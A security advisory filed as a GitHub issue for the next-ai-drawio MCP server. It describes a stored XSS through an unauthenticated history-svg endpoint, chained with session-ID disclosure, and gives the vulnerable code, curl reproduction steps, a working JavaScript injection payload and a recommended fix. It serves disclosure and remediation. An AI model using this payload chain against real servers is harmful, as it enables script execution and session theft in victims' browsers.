[Security] Stored XSS via unauthenticated POST /api/history-svg (chained with session ID disclosure)
Note: A private security advisory for this issue has already been opened and accepted (GHSA-rv7m-56x2-7q2c). Filing this issue as requested to track a CVE request / follow up, per the maintainer's guidance.
Summary
The POST /api/history-svg endpoint accepts an arbitrary svg string from any caller without authentication and writes it directly to the server-side history store. When a legitimate user later opens the History panel, the server renders all stored svg values via innerHTML without sanitization, executing the attacker's JavaScript in the localhost origin.
Combined with a session-ID disclosure issue (GET / auto-redirects to /?mcp=<mostRecentSessionId> when no session is specified), this becomes a one-click stored XSS chain: the attacker only needs to send a single link, and no further interaction is required after the victim clicks it.
Details
Write side — no authentication (http-server.ts, lines 429–456)
function handleHistorySvgApi(req, res): void {
// no token, no session check, no API key — any caller accepted
readBody(req, res, (body) => {
const { sessionId, svg } = JSON.parse(body)
updateLastHistorySvg(sessionId, svg) // raw svg written to store
res.writeHead(200, …)
})
}Read side — DOM XSS sink (lines 991–996)
historyGrid.innerHTML = historyData.map((e, i) => `
<div class="history-item" data-idx="${e.index}">
<div class="thumb">${e.svg ? `<img src="${e.svg}">` : '#' + e.index}</div>
…
</div>
`).join('');e.svg is inserted verbatim into an <img src="..."> attribute. A value like x" onerror="alert(1) closes the src attribute and injects an event handler.
Session ID disclosure (http-server.ts, lines 267–273)
if (!sessionId) {
const recentSessionId = getMostRecentSessionId()
if (recentSessionId) {
res.writeHead(302, { Location: `/?mcp=${recentSessionId}` })
res.end(); return
}
}Any script — including injected XSS — can call fetch('/') and read the real session ID from the redirect URL.
Environment used for verification
- Package:
@next-ai-drawio/[email protected], built from source (npm run build) - Server started via the real MCP entry point over stdio:
node dist/index.js - MCP tools called in sequence:
start_session→create_new_diagram - HTTP server auto-started on
http://localhost:6002
Reproduction steps
Confirm the session ID is discoverable without auth:
curl -s -o /dev/null -w "%{redirect_url}" http://localhost:6002/Output:
http://localhost:6002/?mcp=mcp-XXXXXXXX-XXXXXXCraft a payload that reads the real session ID and posts an XSS payload to
/api/history-svg:";(fetch('/').then(r=>{const s=new URL(r.url).searchParams.get('mcp');fetch('/api/history-svg',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({sessionId:s,svg:'x" onerror="alert(document.domain)'})})}));//Deliver this via the
?mcp=parameter as a single link to the victim.Victim opens the link. In the background, the script fetches the real session ID and silently stores the XSS payload via
POST /api/history-svg— no authentication required, response is{"success":true}.Verify storage:
curl -s "http://localhost:6002/api/history?sessionId=<SESSION_ID>"The stored entry contains
"svg":"x\" onerror=\"alert(document.domain)".
- Victim opens their real session and clicks "History".
renderHistory()setsinnerHTMLwith the stored payload, triggeringonerrorand executing arbitrary JS in thelocalhostorigin — e.g. exfiltrating cookies/session data to an attacker server.
Impact
- Any user whose MCP HTTP server processes a diagram session that an attacker has manipulated is affected.
- Attacker only needs network access to
localhost(direct, shared machine, or via an SSRF/reflected-XSS chain). - Unlike a one-off reflected XSS, the stored payload executes for every user who later opens the History panel for that session, with no further attacker action needed.
- Injected JavaScript has full access to all
/api/*endpoints in thelocalhostorigin.
Recommended fix
1. Authenticate POST /api/history-svg:
import { randomBytes } from "node:crypto"
const SERVER_TOKEN = randomBytes(32).toString("hex")
function handleHistorySvgApi(req, res): void {
if (req.headers["x-mcp-token"] !== SERVER_TOKEN) {
res.writeHead(401, { "Content-Type": "application/json" })
res.end(JSON.stringify({ error: "Unauthorized" }))
return
}
// existing logic
}2. Sanitize svg before storing / rendering:
function isSafeSvg(svg: string): boolean {
return /^data:image\/svg\+xml;base64,[A-Za-z0-9+/=]+$/.test(svg)
|| /^\/[^<>"']+$/.test(svg)
}And avoid innerHTML on the client — build the <img> element via document.createElement instead, or sanitize with [DOMPurify](https://github.com/cure53/DOMPurify).
Affected versions
next-ai-drawio/mcp-server<= 0.2.1 (bundled innext-ai-draw-io<= 0.4.16)
Weaknesses
- CWE-79 — Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
- CWE-862 — Missing Authorization
Source: DayuanJiang/next-ai-draw-io